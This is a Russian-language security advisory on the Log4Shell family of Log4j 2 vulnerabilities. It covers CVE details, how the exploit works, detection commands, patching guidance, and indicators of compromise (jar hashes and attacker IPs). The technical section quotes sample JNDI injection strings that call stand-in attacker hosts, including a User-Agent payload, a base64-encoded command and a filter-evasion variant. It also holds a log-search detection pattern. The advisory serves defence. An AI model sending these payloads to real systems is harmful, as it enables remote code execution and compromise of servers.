Бюллетени

14.12.2021

Критическая 0-day уязвимость в библиотеке журналирования приложений Apache Log4j 2


Обновлено от 28.12.2021


1. Описание зафиксированной угрозы


Первая уязвимость

[Название угрозы]: RCE-уязвимость в библиотеке журналирования приложений Apache Log4j (aka Log4Shell, Log4Jam)

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-44228

[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.14.1

[Severity]: 10/10

[Дата обнаружения]: 24.11.2021


Вторая уязвимость

[Название угрозы]: RCE-уязвимость в Apache Log4j2 Thread Context Lookup Pattern при нестандартных конфигурациях

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-45046

[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.15.0, кроме 2.12.2

[Severity]: 9/10

[Дата обнаружения]: 14.12.2021


Третья уязвимость

[Название угрозы]: Отсутствие защиты от неконтролируемой рекурсии при поиске

[Тип угрозы]: Отказ в обслуживание (DoS)

[CVE]: CVE-2021-45105

[CVSS vector]: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-beta9 до 2.16.0

[Severity]: 7.5/10

[Дата обнаружения]: 16.12.2021

Четвертая уязвимость

[Название угрозы]: RCE-уязвимость в библиотеке при нестандартных(вредоносных) конфигурациях

[Тип угрозы]: уязвимость удаленного исполнения кода (RCE)

[CVE]: CVE-2021-44832

[CVSS vector]: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

[Platform]: Cross-platform

[Product]: Apache Log4j2

[Version]: все версии от 2.0-alpha7 до 2.17.0, за исключением 2.3.2 и 2.12.4

[Severity]: 6.6/10

[Дата обнаружения]: 11.12.2021



24 ноября 2021 года группа исследователей кибербезопасности из Alibaba Cloud официально уведомила Apache об обнаружении опасной уязвимости удаленного выполнения кода в библиотеке журналирования Apache Log4j 2.


Log4j 2 – это широко распространённая сторонняя библиотека журналов с открытым исходным кодом, используемая в программных приложениях и службах. Log4j 2 применяется в первую очередь в приложениях, написанных на языке программирования Java, однако также часто встречается в приложениях, которые используют другие языки, такие как Scala, Groovy или Clojure. Поскольку данные языки программирования используются множеством приложений как для OS Windows, так и Linux, то уязвимость имеет кроссплатформенный характер.


Уязвимость Log4Shell (CVE-2021-44228) является крайне опасной по трем причинам:

1)   Во-первых, злоумышленники могут легко ее эксплуатировать. Передать уязвимому компоненту эксплойт можно множеством способов, например, указав в поле логина или одном из полей HTTP заголовка простую текстовую команду. Особые навыки для этого не нужны.

2)   Во-вторых, библиотека, в которой нашли Log4Shell, чрезвычайно широко используется в системах и продуктах различных производителей. В числе пострадавших компании Apple, Amazon, CloudFlare, Google, LinkedIn, уязвимы решения от Cisco, Oracle, RedHat и др. Наиболее актуальный список подверженных уязвимости продуктов можно найти здесь.

3)   В-третьих, уязвимые продукты и решения, как правило, доступны в интернете, т.е. злоумышленнику не нужно каким-либо образом проникать в инфраструктуру компании-жертвы, достаточно всего лишь обратиться к веб-сайту или опубликованному решению, использующим уязвимый компонент.


В настоящее время Jet CSIRT фиксирует факты того, что уязвимость Log4Shell уже активно применяется в реальных атаках на организации, в том числе операторами шифровальщиков.


2. Технические детали угрозы


CVE-2021-44228


Библиотека Log4j 2 содержит класс JndiLookup (org.apache.logging.log4j.core.lookup), который позволяет получать переменные через механизм JNDI (Java Naming and Directory Interface).
JNDI – это служба каталогов, благодаря которой Java-клиенты могут находить данные (в форме объекта Java) в каталоге. JNDI имеет ряд интерфейсов поставщиков услуг (SPI), которые позволяют использовать различные службы каталогов, среди них – CORBA COS (Common Object Service), RMI (Remote Method Interface), DNS (Domain Name System), LDAP (Lightweight Directory Access Protocol), HTTP (Hyper-Text Transfer Protocol) и другие.

По умолчанию ключ для класса JndiLookup будет иметь префикс java:comp/env/, однако, если ключ содержит ":" (двоеточие), то префикс не будет добавлен. Таким образом, если передать серверу строку вида: ${jndi:dns://attacker.com/payload}, то сервер выполнит запрос к ресурсу attacker.com.
Эксплуатация уязвимости Log4Shell происходит в несколько этапов:

1) Злоумышленник каким-либо образом отправляет на атакуемый сервер данные, которые записываются в журнал посредством уязвимого компонента Log4j.
Это может быть HTTP-запрос, заполнение какой-либо веб-формы или поля для ввода данных на сайте, отправка сообщения в чат приложения и другое. Самое главное – чтобы эти данные записались в журнал атакуемого приложения.
Данные обычно содержат вредоносную нагрузку вида:
${jndi:dns://attacker.com/payload}
Где attacker.com – сервер, контролируемый злоумышленником;
payload – вредоносная нагрузка, которую злоумышленник хочет исполнить;

2) Уязвимый компонент Log4j через класс JndiLookup обратится к серверу злоумышленника посредством JNDI.

3) Контролируемый злоумышленником сервер возвращает в качестве ответа вредоносную нагрузку, которая исполняется на атакуемом хосте.

Пример вредоносных сущностей:


Пример внедрения вредоносной нагрузки в User-Agent:
Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua


Пример использования HTTP в качестве SPI:
${jndi:hxxp://x.x.x.x/callback/https-port-443-and-http-callback-scheme}

Пример использования LDAP в качестве SPI:
${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198-41-223-33.cloudflare.com.gu}

Пример использования LDAP в качестве SPI и вредоносной нагрузки, закодированной base64:
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wZW50ZXN0Y2hlY2s=}

Пример кодирования конструкции ${jndi в base64:
${base64:JHtqbmRp

Пример обхода блокировок типовых строк, таких как jndi:ldap:
${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x


CVE-2021-45046


Данная уязвимость связана с недостаточным решением проблемы в рамках устранения уязвимости CVE-2021-44228.
В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) атакущий может сгенерировать вредоносный запрос с использованием JNDI и тем самым выполнить произвольный код в системе.

CVE-2021-45105


Уязвимость связана с отсутствием защиты от неконтролируемой рекурсии.
В случае если в конфигурации используется нестандартный шаблон (пример: {$$(ctx:loginid} ) злоумышленник может создать вредоносный запрос, содержащий рекурсивный поиск, что приведет к ошибке StackOverflowError и как следствие завершит процесс в системе.

CVE-2021-44832


При наличии разрешений на изменение файлов конфигурации злоумышленник может создать вредоносную конфигурацию с использованием JDBC Appender, где источник может ссылаться на JDNI URI, позволяющий выполнить произвольный код в системе.

3. Рекомендации по обнаружению уязвимых компонентов


Для обнаружения уязвимых компонентов в своей инфраструктуре рекомендуется выполнить следующие действия:

  • Определить список потенциально уязвимых решений, используемых в инфраструктуре, и ознакомиться с бюллетенем безопасности о Log4j 2 от производителя с помощью следующих ресурсов:

o https://github.com/NCSC-NL/log4shell/tree/main/software

o https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

o https://github.com/YfryTchsGD/Log4jAttackSurface


Важно! В первую очередь рекомендуется сфокусироваться на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.

Поиск уязвимых библиотек можно выполнить одним из следующих способов:

Выполнить поиск библиотек, содержащих JndiLookup.class:
В переменной %путь% необходимо указывать целевой каталог проверки или диск(Пример: "C:\" для Windows или "/" для Unix)

o Для Unix-систем:


find %путь% -name "*.jar" -exec sh -c 'unzip -l "{}" | grep -i --color=always JndiLookup.class' \; -print

o Для Windows-систем:


Powershell 3.0 и выше:


Get-ChildItem -Path "%путь%" -File "*.jar" -rec -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path


Powershell 2.0:

Get-ChildItem -Path "%путь%" -rec -force  -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path


  • Выполнить поиск уязвимых библиотек по хэш-суммам с помощью утилиты командной строки, разработанной компанией Lunasec:

o https://github.com/lunasec-io/lunasec/releases


Пример команды на Linux и OSX:

log4shell scan your-project-dir/


Пример команды на Windows:

log4shell.exe scan your-project-dir/


Пример вывода работы инструмента:

8:08AM INF identified vulnerable path fileName=org/apache/logging/log4j/core/net/JndiManager$1.class path=test/struts-2.5.28-all/struts-2.5.28/apps/struts2-rest-showcase.war::WEB-INF/lib/log4j-core-2.12.1.jar versionInfo="log4j 2.8.2-2.12.0"


  • Выполнить сканирование файловой системы на предмет наличия уязвимого файла log4j.jar.

Установить инструмент:

git clone https://github.com/lunasec-io/lunasec.git
cd lunasec/tools/log4shell-scripts
./setup.sh


Запустить сканирование:

./find-bad-deps.sh /path/to/folder/to/scan


Это менее точный метод обнаружения, поскольку он требует присутствия файла log4j.jar внутри файловой системы для проверки.


  • Выполнить ручную проверку журналов на предмет попыток эксплуатации уязвимости.

o Для Unix-систем:

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+|\$\{base64:JHtqbmRp' /var/log//


4. Рекомендации по устранению уязвимости Log4Shell


Важно! В случае использования вендорского решения рекомендуется ознакомиться с официальным бюллетенем безопасности о Log4j от производителя. Наиболее актуальный список уязвимых решений по производителям приведен здесь.


  •   После определения списка уязвимых систем как можно скорее выполнить установку официального обновления безопасности от Apache Log4j  версии 2.17.1 для Java 8, 2.12.4 для Java 7 и 2.3.2 для Java 6: 

o https://logging.apache.org/log4j/2.x/download.html

Важно! В первую очередь рекомендуется выполнять обновления на системах, которые должны быть доступны из Интернета или находящихся в DMZ-зонах, а затем на внутренних системах, к которым нет доступа извне.

  • Если по каким-либо причинам оперативное обновление системы, доступной извне, невозможно, то рекомендуется изолировать систему от Интернета и выполнить следующее действие (также применимо ко внутренним системам в качестве временного решения):


Удалить класс JndiLookup с помощью команды:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class


ВНИМАНИЕ! Временные решения не гарантируют полного устранения проблем, для полноценного закрытия уязвимости необходимо выполнить обновление до версии 2.17.1 для Java 8, 2.12.4 для Java 7 и 2.3.2 для Java 6.
Предыдущие меры по снижению риска, связанные с конфигурацией флага log4j2.noFormatMsgLookup в значение true, НЕ уменьшают опасность уязвимости. В результате применения данного метода, была обнаружена новая уязвимость CVE-2021-45046. В связи с чем, в качестве временного решения работает только удаление класса JndiLookup.


5. Основные индикаторы компрометации



Тип индикатора

Список

1    Хэш-суммы уязвимых .jar-файлов bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6
58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae
ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4
dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e
a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8
7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b
4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47
473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6
b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02
dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d
85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c
db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a
ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0
a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d
c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d
8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc
c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a
6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2
535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6
42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239
4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997
df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6
28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e
cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392
5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4
ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa
815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e
10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c
dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae
9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d
f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d
5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3
d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d
3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100
057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3
5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c
c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3
6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992
54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b
e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1
68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa
9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463
006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85

2    IP-адреса, замеченные в атаках с использованием Log4Shell   1.116.59[.]211
1.179.247[.]182
101.204.24[.]28
101.35.154[.]34
108.61.148[.]110
109.195.85[.]191
109.70.100[.]27
111.59.85[.]209
112.74.34[.]48
112.74.52[.]90
113.141.64[.]14
113.98.224[.]68
114.112.161[.]155
118.27.36[.]56
120.195.30[.]152
120.211.140[.]116
120.24.23[.]84
121.4.56[.]143
121.5.113[.]11
124.224.87[.]11
128.199.15[.]215
128.199.24[.]9
131.100.148[.]7
133.18.201[.]195
137.184.104[.]73
137.184.106[.]119
137.184.111[.]180
137.184.98[.]176
137.184.99[.]8
138.197.106[.]234
138.197.108[.]154
138.197.9[.]239
139.59.101[.]242
139.59.103[.]254
139.59.108[.]31
139.59.163[.]74
139.59.182[.]104
139.59.188[.]119
139.59.224[.]7
139.59.96[.]42
139.59.97.205
139.59.99[.]80
142.93.157[.]150
143.198.180[.]150
143.198.183[.]66
146.56.131[.]161
146.56.148[.]181
146.70.75[.]54
147.182.179[.]141
147.182.187[.]229
147.182.195[.]250
147.182.216[.]21
154.65.28[.]250
157.245.102[.]218
157.245.109[.]75
157.245.111[.]218
159.203.58[.]73
159.223.42[.]182
159.223.9[.]17
159.65.59[.]77
159.89.146[.]147
159.89.150[.]150
159.89.154[.]102
159.89.154[.]185
159.89.154[.]64
159.89.94[.]219
164.52.53[.]163
164.90.196[.]7
165.232.80[.]22
167.172.94[.]250
167.99.204[.]151
167.99.216[.]68
167.99.221[.]217
167.99.221[.]249
167.99.36[.]245
167.99.44[.]32
170.210.45[.]163
171.221.235[.]43
175.6.210[.]66
177.185.117[.]129
178.128.226[.]212
178.176.202[.]121
178.204.251[.]33
178.62.23[.]146
178.69.32[.]226
18.204.199[.]0
182.99.246[.]192
185.220.100[.]242
185.220.100[.]253
185.220.101[.]135
188.126.89[.]151
188.166.102[.]47
188.166.225[.]104
188.166.33[.]244
188.166.45[.]93
188.166.86[.]206
191.232.38[.]25
194.127.167[.]100
194.163.163[.]20
194.99.105[.]75
195.201.175[.]217
195.251.41[.]139
198.98.57[.]191
20.205.104[.]227
20.71.156[.]146
209.97.133[.]112
211.154.194[.]21
217.112.83[.]246
218.29.217[.]234
218.89.222[.]71
221.199.187[.]100
221.226.159[.]22
221.228.87[.]37
35.232.163[.]113
37.120.189[.]247
37.120.232[.]51
39.102.236[.]51
41.203.140[.]114
45.153.160[.]134
46.105.95[.]220
46.4.51[.]212
49.233.62[.]251
49.234.81[.]169
49.7.224[.]217
5.157.38[.]50
5.254.43[.]59
51.105.55[.]17
60.31.180[.]149
61.175.202[.]154
61.178.32[.]114
61.19.25[.]207
68.183.198[.]36
68.183.207[.]73
68.183.35[.]171
68.183.41[.]150
68.183.44[.]143
86.109.208[.]194
89.249.63[.]3
89.38.97[.]116
89.38.97[.]144
92.63.197[.]53
94.103.94[.]113
95.161.221[.]20
96.8.169[.]55


6. Ссылки


https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html
https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html
https://logging.apache.org/log4j/2.x/security.html
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://github.com/lunasec-io/lunasec/releases
https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
https://github.com/YfryTchsGD/Log4jAttackSurface
https://github.com/NCSC-NL/log4shell/tree/main/software



Возврат к списку